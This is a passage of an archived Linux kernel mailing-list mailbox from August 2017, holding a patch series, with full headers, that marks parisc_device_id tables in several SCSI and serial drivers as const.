         FNYNfPtx7NA6ApJRxIxQX04rQiNKXv1P7nWnVOhnsPt0/7b4SU3DAOOMxbumtO0bfy3t
         g/EA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=iasKKaQyKTnriZ6B9gn1cAYEkyx7e1OjPXnlq8aL1Co=;
        b=WBAoKIbT5ELbX77sTG34VWv5/11+UWFYK35hsILyWbPEEyHUEn7WAwfcS6RY2jO9/f
         uWJgCxw+uecDoIoCTL/Y0SLG+zpDamINuSb5lrVNb118R+Hh0EaTykSLACXyYI9rrayI
         U72iqCYDfJd3G1Cyw3ffB6KBXRMtCfn6HASIsE+pUGJxnZbzCpBzfZG+31YlqxfuF9Jv
         G3EOuLe8UIIp3PuDlv+7E3uRjckvkrM6vPtMcWOqTDdP5TjQqhDSDiYD1QPoqz/eTr5m
         DiwUWfjZmmwo84dEzQUjZFrcheeY2f/7MQqLiwycuWCRB/gnIhhi354FAsjqoitB7xLc
         uYTA==
X-Gm-Message-State: AHYfb5hR1AAxYIXVgzeSu9+f+HsMRlvFze2woEXgO+JYVQTDXng2kzcU
        2D3Irz2O3wp8XQ==
X-Received: by 10.84.218.195 with SMTP id g3mr14121911plm.304.1503164564096;
        Sat, 19 Aug 2017 10:42:44 -0700 (PDT)
Original-Received: from localhost.localdomain ([103.16.68.146])
        by smtp.gmail.com with ESMTPSA id p126sm11912456pfp.88.2017.08.19.10.42.42
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 19 Aug 2017 10:42:43 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2552963 gmane.linux.ports.parisc:27710
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2552963>

parisc_device_id are not supposed to change at runtime. All functions
working with parisc_device_id provided by <asm/parisc-device.h> work
with const parisc_device_id. So mark the non-const structs as const.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/parisc/ccio-rm-dma.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/ccio-rm-dma.c b/drivers/parisc/ccio-rm-dma.c
index 1bf9880..fc8fbb5 100644
--- a/drivers/parisc/ccio-rm-dma.c
+++ b/drivers/parisc/ccio-rm-dma.c
@@ -184,7 +184,7 @@ ccio_probe(struct parisc_device *dev)
 	return 0;
 }
 
-static struct parisc_device_id ccio_tbl[] = {
+static const struct parisc_device_id ccio_tbl[] = {
 	{ HPHW_BCPORT, HVERSION_REV_ANY_ID, U2_BC_GSC, 0xc },
 	{ HPHW_BCPORT, HVERSION_REV_ANY_ID, UTURN_BC_GSC, 0xc },
 	{ 0, }
-- 
2.7.4



From - Thu Nov 08 21:40:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: [PATCH 0/4] constify scsi/tty parisc_device_id
Date: Sat, 19 Aug 2017 23:24:19 +0530
Lines: 24
Approved: news@gmane.org
Message-ID: <1503165261-31741-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503165288 12625 195.159.176.226 (19 Aug 2017 17:54:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 17:54:48 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-scsi@vger.kernel.org
To: jejb@linux.vnet.ibm.com, martin.petersen@oracle.com, deller@gmx.de,
        gregkh@linuxfoundation.org, jslaby@suse.com
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 19 19:54:36 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dj7x6-0002Cb-7i
	for glpp-linux-parisc@m.gmane.org; Sat, 19 Aug 2017 19:54:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750979AbdHSRyd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 19 Aug 2017 13:54:33 -0400
Original-Received: from mail-pf0-f195.google.com ([209.85.192.195]:36649 "EHLO
        mail-pf0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750812AbdHSRyc (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 19 Aug 2017 13:54:32 -0400
Original-Received: by mail-pf0-f195.google.com with SMTP id t83so3283516pfj.3;
        Sat, 19 Aug 2017 10:54:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=h63B90yDesk2/noUYIJu1mVHzo6Coml7dADmW+4RREs=;
        b=btS9hQ2t0r73gtOG5PS+JpGcvyKBFHWJpITIg1/dLNg705YG+c58KGybD9sxj2+4jB
         lV38YtjkRdMYfrRTaPFaLgWGPqsBn1xmJojigdlsa7g2LbmwkBGP8arCM+KNqMuoMnnp
         8RgazhaKTIdGHm0+6W5JVuXFqdAX936wy3xnttoZTV0maZA5rtcmejktZ1ayMH2cHU8m
         j/eMpmTfoWRfEtnyNlbZoaAqUVlz9loQzZNgGqpEWQTBIO/m0HyZ/mGeuLLZHLBplMln
         v07ouWNDQkw9yvE9cShpgkYMZ/lXC379mQUlep8DRQKMna4Vf13kEKHzPDaPPTQTcx2s
         q4NA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=h63B90yDesk2/noUYIJu1mVHzo6Coml7dADmW+4RREs=;
        b=ZxzU+viofuZnlPVu1t9CFDyXK4N/FzZKrenPosU7SnUbDRhiJjTiqABoRwT82WP/rW
         rxhczxFG5gH5ln8WtAhEGZxHKy2p0tLJWuF5bF8mXV36Rv/YZUxija560O+OksJ6rq6y
         N3iXeeoxvsJZxBCuphDBOToU+/zeoIhV46YYSJcAN9/eBqbZWzUZseizubntVXTACOD3
         QWB01HKT7+0dDhOUd8jTbyoQWMDyGTjYoHN35FP4z5686N/pjt5lNSoGN+ZfxmnlCOey
         271q8I/7NEo92xvdsCf94nzSIriui4LYK/cGrJxdnj2cs9jLHDLNG79N3BJQs/02hpfy
         zUiw==
X-Gm-Message-State: AHYfb5iuy5KFg8YPhpMd4mttvbgmPpZHDRgMahliqlJA874FYGROUbaB
        pUvkXaBTaL8CvA==
X-Received: by 10.84.237.8 with SMTP id s8mr13983618plk.403.1503165272213;
        Sat, 19 Aug 2017 10:54:32 -0700 (PDT)
Original-Received: from localhost.localdomain ([103.16.68.146])
        by smtp.gmail.com with ESMTPSA id a63sm15695968pfc.165.2017.08.19.10.54.29
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 19 Aug 2017 10:54:31 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27711 gmane.linux.kernel:2552965 gmane.linux.scsi:129270
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27711>

parisc_device_id are not supposed to change at runtime. All functions
working with parisc_device_id provided by <asm/parisc-device.h> work with
const parisc_device_id. So mark the non-const structs as const.

Arvind Yadav (4):
  [PATCH 1/4] scsi: lasi700: constify parisc_device_id
  [PATCH 2/4] scsi: zalon: constify parisc_device_id
  [PATCH 3/4] tty: 8250: constify parisc_device_id
  [PATCH 4/4] tty: mux: constify parisc_device_id

 drivers/scsi/lasi700.c             | 2 +-
 drivers/scsi/zalon.c               | 2 +-
 drivers/tty/serial/8250/8250_gsc.c | 4 ++--
 drivers/tty/serial/mux.c           | 4 ++--
 4 files changed, 6 insertions(+), 6 deletions(-)

-- 
2.7.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.scsi
Subject: [PATCH 2/4] scsi: zalon: constify parisc_device_id
Date: Sat, 19 Aug 2017 23:24:21 +0530
Lines: 26
Approved: news@gmane.org
Message-ID: <1503165261-31741-3-git-send-email-arvind.yadav.cs@gmail.com>
References: <1503165261-31741-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503165289 12890 195.159.176.226 (19 Aug 2017 17:54:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 17:54:49 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-scsi@vger.kernel.org
To: jejb@linux.vnet.ibm.com, martin.petersen@oracle.com, deller@gmx.de,
        gregkh@linuxfoundation.org, jslaby@suse.com
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 19 19:54:44 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dj7xL-0002vj-Ev
	for glk-linux-kernel-3@m.gmane.org; Sat, 19 Aug 2017 19:54:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752128AbdHSRym (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 19 Aug 2017 13:54:42 -0400
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:36102 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751707AbdHSRyi (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 19 Aug 2017 13:54:38 -0400
Original-Received: by mail-pg0-f67.google.com with SMTP id y129so18730049pgy.3;
        Sat, 19 Aug 2017 10:54:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=Kz7f5DoYNO5Rh/w7ZIVs97DMRr42D4z2swCEsjQoyKQ=;
        b=NKOKXaJ7n5v/9Kzm3nQOn1mFkc7coRoJuA4cBrAZclJQppIbewJYgXQfnvFajqefZE
         fFGdSyH9EDywosPrNj658AriTKmdNneJr/gTRsJv/+7/4W7ZQ2DJVVykOxFo5D5yntkA
         AJPTMeWZ4hk4mqT1voMihS0dKtf8kkAn4ntTPw0lVU6U6ydospB5mpmiEfJ3aZPvkcXl
         jqRYX+0hxwiadsmnqhPHe8ssSOYocFUX4DREiN+vuNTW8KBzVjWpz8Ij1V1chobUSDdk
         PfjxYK+9u3fa9l/uWaGJUOxzUSfX3llN1+/M1xPgJHtIY5LH8A31ogoDSrNTq/nMdZH4
         lVDA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=Kz7f5DoYNO5Rh/w7ZIVs97DMRr42D4z2swCEsjQoyKQ=;
        b=fMA3IA9q3/romwgy0PNTEOKAPt+ZprHYYWHnRJKdDjuaUKCkNYfBdCeSCma2+Gmict
         Qed8KORdVhsR+Dvy29POPlqbWu4WWR6FUsFCc5TyMzxtEbynsK8DJvFC/SFgkWr9CKvU
         YmFDKEYyFUFIM/1c/Nt36EAV1yzuy8ZPiRmm81pCUGGwYaZ09t7lS6tOFNHrULhzm1fx
         K69+2797aMglDZC426ZyAiapm78/YW2jUiGqXicigNXGKIHwrer1ICaJ94UisrmW+8Pg
         g15K7y1gsh83jmrNb0V/mbC9y+dOFPkQA/VB1b7S17y9msNg8XUxKw2PvX2+qlJe7cvf
         m4nQ==
X-Gm-Message-State: AHYfb5i/HLaKtxnMyDa07LL5WnBVcupeB3ab56/zuUbnPnk1RHMZ9RZ+
        ik5Em9pYgJP/DQ==
X-Received: by 10.98.144.13 with SMTP id a13mr12135533pfe.233.1503165278197;
        Sat, 19 Aug 2017 10:54:38 -0700 (PDT)
Original-Received: from localhost.localdomain ([103.16.68.146])
        by smtp.gmail.com with ESMTPSA id a63sm15695968pfc.165.2017.08.19.10.54.35
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 19 Aug 2017 10:54:37 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1503165261-31741-1-git-send-email-arvind.yadav.cs@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2552966 gmane.linux.ports.parisc:27712 gmane.linux.scsi:129271
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2552966>

parisc_device_id are not supposed to change at runtime. All functions
working with parisc_device_id provided by <asm/parisc-device.h> work
with const parisc_device_id. So mark the non-const structs as const.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/scsi/zalon.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/scsi/zalon.c b/drivers/scsi/zalon.c
index b2cf1fa..00c7c28 100644
--- a/drivers/scsi/zalon.c
+++ b/drivers/scsi/zalon.c
@@ -160,7 +160,7 @@ zalon_probe(struct parisc_device *dev)
 	return error;
 }
 
-static struct parisc_device_id zalon_tbl[] = {
+static const struct parisc_device_id zalon_tbl[] = {
 	{ HPHW_A_DMA, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00089 }, 
 	{ 0, }
 };
-- 
2.7.4



From - Thu Nov 08 21:40:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.scsi
Subject: [PATCH 1/4] scsi: lasi700: constify parisc_device_id
Date: Sat, 19 Aug 2017 23:24:20 +0530
Lines: 26
Approved: news@gmane.org
Message-ID: <1503165261-31741-2-git-send-email-arvind.yadav.cs@gmail.com>
References: <1503165261-31741-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503165292 13487 195.159.176.226 (19 Aug 2017 17:54:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 17:54:52 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-scsi@vger.kernel.org
To: jejb@linux.vnet.ibm.com, martin.petersen@oracle.com, deller@gmx.de,
        gregkh@linuxfoundation.org, jslaby@suse.com
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 19 19:54:48 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dj7xK-0002vj-Ui
	for glk-linux-kernel-3@m.gmane.org; Sat, 19 Aug 2017 19:54:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751990AbdHSRyi (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 19 Aug 2017 13:54:38 -0400
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:37100 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751707AbdHSRyf (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 19 Aug 2017 13:54:35 -0400
Original-Received: by mail-pg0-f67.google.com with SMTP id 83so18744985pgb.4;
        Sat, 19 Aug 2017 10:54:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=5oXKR0JbTDPoEp+oYutKsM6a0clfz6Qu40/jJxiFuBY=;
        b=IRAKCQ3zk0g2edY4XRohCynMq51w/WLo9SbU8NuXcprqMRoPTCbW6sgzIX6zlZLMrQ
         /a1djh1SA+oc0d0yJjN92GA3JMZq4TkCQQvej35kHOsxQv6tyhnoI1rC1cXsKpI7xrb3
         POxv+hayXsAVIK+eSVBMz6ZwtGaJN7bGyfVTU4mRqYx+du52VbFq8HmPFY0nmKGVxDad
         DG5vTzQ9xYwjA5a4/6rUwad5UkMwjapwN+PRzXuoGgg41+flhbgjm6+PjSBJv8IZKVgo
         MhrOjmHIMsj34xYkUrZEMAKGuqC9ApRw6oD6dlCtUuG3sA3CTh10wTi87HAlP/55txgY
         NW4A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=5oXKR0JbTDPoEp+oYutKsM6a0clfz6Qu40/jJxiFuBY=;
        b=VXGiKM4DucXt4Bax0nhdQ34deonFD9ffvOqBKyUOpSPUzW24lgQhS4kGmlaxO99o2b
         +x2P8SjgZ+QY4rvr8mdlftJKbKE1DXuELiE2vr9iO90CnR62gUhzR/+T3ytx8x3KZ4mK
         2rRNZ49L4jQxs9VHGxY0U/bwhHNVXPo6GeiDcDEC0XevH/ZyuoHaFIxdqsxENtNGHYk7
         k9w5a5V+lMdvFAkS7ZSBcz2i0lyG6fHLBkbovmZhOFv4b1d9LXOJDUU9+vSi/0VRcuuf
         ULe+Ce9I1unNa1wtN1BuxEcV7XwwkRKbjnFBl/0usONwSIxvIqlD/GdMojKxGio+rhtS
         5zzw==
X-Gm-Message-State: AHYfb5j0A33uB5NbM8tkveNLkiKqkyGNKSTPJtHZua5DsLNqqQomTfNd
        eiM9xpHM2ub3+A==
X-Received: by 10.84.214.151 with SMTP id j23mr14076163pli.322.1503165275176;
        Sat, 19 Aug 2017 10:54:35 -0700 (PDT)
Original-Received: from localhost.localdomain ([103.16.68.146])
        by smtp.gmail.com with ESMTPSA id a63sm15695968pfc.165.2017.08.19.10.54.32
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 19 Aug 2017 10:54:34 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1503165261-31741-1-git-send-email-arvind.yadav.cs@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2552967 gmane.linux.ports.parisc:27713 gmane.linux.scsi:129272
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2552967>

parisc_device_id are not supposed to change at runtime. All functions
working with parisc_device_id provided by <asm/parisc-device.h> work
with const parisc_device_id. So mark the non-const structs as const.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/scsi/lasi700.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/scsi/lasi700.c b/drivers/scsi/lasi700.c
index 5c4ded9..4e2b0e0 100644
--- a/drivers/scsi/lasi700.c
+++ b/drivers/scsi/lasi700.c
@@ -81,7 +81,7 @@ MODULE_LICENSE("GPL");
 #define LASI710_CLOCK	40
 #define LASI_SCSI_CORE_OFFSET 0x100
 
-static struct parisc_device_id lasi700_ids[] = {
+static const struct parisc_device_id lasi700_ids[] = {
 	LASI700_ID_TABLE,
 	LASI710_ID_TABLE,
 	{ 0 }
-- 
2.7.4



From - Thu Nov 08 21:40:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.serial
Subject: [PATCH 4/4] tty: mux: constify parisc_device_id
Date: Sat, 19 Aug 2017 23:24:56 +0530
Lines: 33
Approved: news@gmane.org
Message-ID: <1503165296-31801-2-git-send-email-arvind.yadav.cs@gmail.com>
References: <1503165296-31801-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503165317 18587 195.159.176.226 (19 Aug 2017 17:55:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 17:55:17 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-serial@vger.kernel.org
To: jejb@linux.vnet.ibm.com, martin.petersen@oracle.com, deller@gmx.de,
        gregkh@linuxfoundation.org, jslaby@suse.com
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 19 19:55:12 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dj7xl-0004Mi-De
	for glk-linux-kernel-3@m.gmane.org; Sat, 19 Aug 2017 19:55:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752332AbdHSRzM (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 19 Aug 2017 13:55:12 -0400
Original-Received: from mail-pg0-f65.google.com ([74.125.83.65]:32983 "EHLO
        mail-pg0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751697AbdHSRzJ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 19 Aug 2017 13:55:09 -0400
Original-Received: by mail-pg0-f65.google.com with SMTP id n4so3846034pgn.0;
        Sat, 19 Aug 2017 10:55:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=PmyP9MmitFRa9+puyaYcgDv81vwdnl8nRbTf85yoPSM=;
        b=ffzGjZmDB5kT+R6xzrD3zpQ6Pv2PQOy6mGfqZ32WzT1YAnib2LfMX3A9KCqaH0ha/W
         7nDeWwR9lrlEbpDB9yPXZJgLn+7Gwolf9eEk2qJm1Ajalq6LHCR3UJACtBXOJ7lVNb3i
         dcjINDVFnQmkLq2VLNlNxv9VirgmGRRjzntZy0bwGT5BYZahjYCkJlS2ENX3Vd8hMKTP
         2GNjpGT5Ke1LZKn7TXrASJDSJLDdrjAl5jcIygSuz4HliZQXF2gU92+hldlpgUwy1ozU
         d7y+obXdu5G6KUaWOfGAB72wn/vLyw6qXtm1D3Ns1cisK0Kn0cdT4Kwd97ktFDanwNTg
         zCCg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=PmyP9MmitFRa9+puyaYcgDv81vwdnl8nRbTf85yoPSM=;
        b=RaP/Cs1/3E+7yX/zN3YBoGO9tNjUc5LtpXWc+vvwqjNO7UQxNmcNrq2Ei93/3OwkZ+
         ooNlEN6LihySAu1FgLYa2krdi82b0dG6fSiZQmD03dKBa0G2WrgTgoLsTMXEZGFjkkYF
         xKZ8dZC9qOc9QoBWuaQ7KqMIZDpBzk4d2MS6bKQgEIGj7EEdLAM2ps72SG8WX7Bpeqwy
         I0K5eDNnCyFDTbbX3TCXZunGdZ++qJynW21aBIbmL1LfWqgPBWKC9Vj3xtcnmwBG9H8l
         xwUbOzmZJ9rs/JG0HBk1N7In+Au7UrRPLSwXBVchYURdJKAnYv8Yfl1v+n8IjQ5H28xl
         yCtQ==
X-Gm-Message-State: AHYfb5hsHuQgeQdiORfyRkZ8EM/7tdToyvVt6yy7wMpTxNXIm5rRchSh
        CFjSgDGzAHFN1g==
X-Received: by 10.84.236.9 with SMTP id q9mr13569792plk.345.1503165309349;
        Sat, 19 Aug 2017 10:55:09 -0700 (PDT)
Original-Received: from localhost.localdomain ([103.16.68.146])
        by smtp.gmail.com with ESMTPSA id w23sm15593701pfl.40.2017.08.19.10.55.06
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 19 Aug 2017 10:55:08 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1503165296-31801-1-git-send-email-arvind.yadav.cs@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2552968 gmane.linux.ports.parisc:27714 gmane.linux.serial:27132
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2552968>

parisc_device_id are not supposed to change at runtime. All functions
working with parisc_device_id provided by <asm/parisc-device.h> work
with const parisc_device_id. So mark the non-const structs as const.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/tty/serial/mux.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/tty/serial/mux.c b/drivers/tty/serial/mux.c
index 8a4be4b..6afe83d 100644
--- a/drivers/tty/serial/mux.c
+++ b/drivers/tty/serial/mux.c
@@ -536,13 +536,13 @@ static int mux_remove(struct parisc_device *dev)
  * This table only contains the parisc_device_id of known builtin mux
  * devices.  All other mux cards will be detected by the generic mux_tbl.
  */
-static struct parisc_device_id builtin_mux_tbl[] = {
+static const struct parisc_device_id builtin_mux_tbl[] = {
 	{ HPHW_A_DIRECT, HVERSION_REV_ANY_ID, 0x15, 0x0000D }, /* All K-class */
 	{ HPHW_A_DIRECT, HVERSION_REV_ANY_ID, 0x44, 0x0000D }, /* E35, E45, and E55 */
 	{ 0, }
 };
 
-static struct parisc_device_id mux_tbl[] = {
+static const struct parisc_device_id mux_tbl[] = {
 	{ HPHW_A_DIRECT, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0000D },
 	{ 0, }
 };
-- 
2.7.4



From - Thu Nov 08 21:40:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.serial
Subject: [PATCH 3/4] tty: 8250: constify parisc_device_id
Date: Sat, 19 Aug 2017 23:24:55 +0530
Lines: 35
Approved: news@gmane.org
Message-ID: <1503165296-31801-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503165318 18990 195.159.176.226 (19 Aug 2017 17:55:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 17:55:18 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-serial@vger.kernel.org
To: jejb@linux.vnet.ibm.com, martin.petersen@oracle.com, deller@gmx.de,
        gregkh@linuxfoundation.org, jslaby@suse.com
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 19 19:55:14 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dj7xj-0004Fk-0B
	for glk-linux-kernel-3@m.gmane.org; Sat, 19 Aug 2017 19:55:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752236AbdHSRzJ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 19 Aug 2017 13:55:09 -0400
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:37184 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751697AbdHSRzG (ORCPT
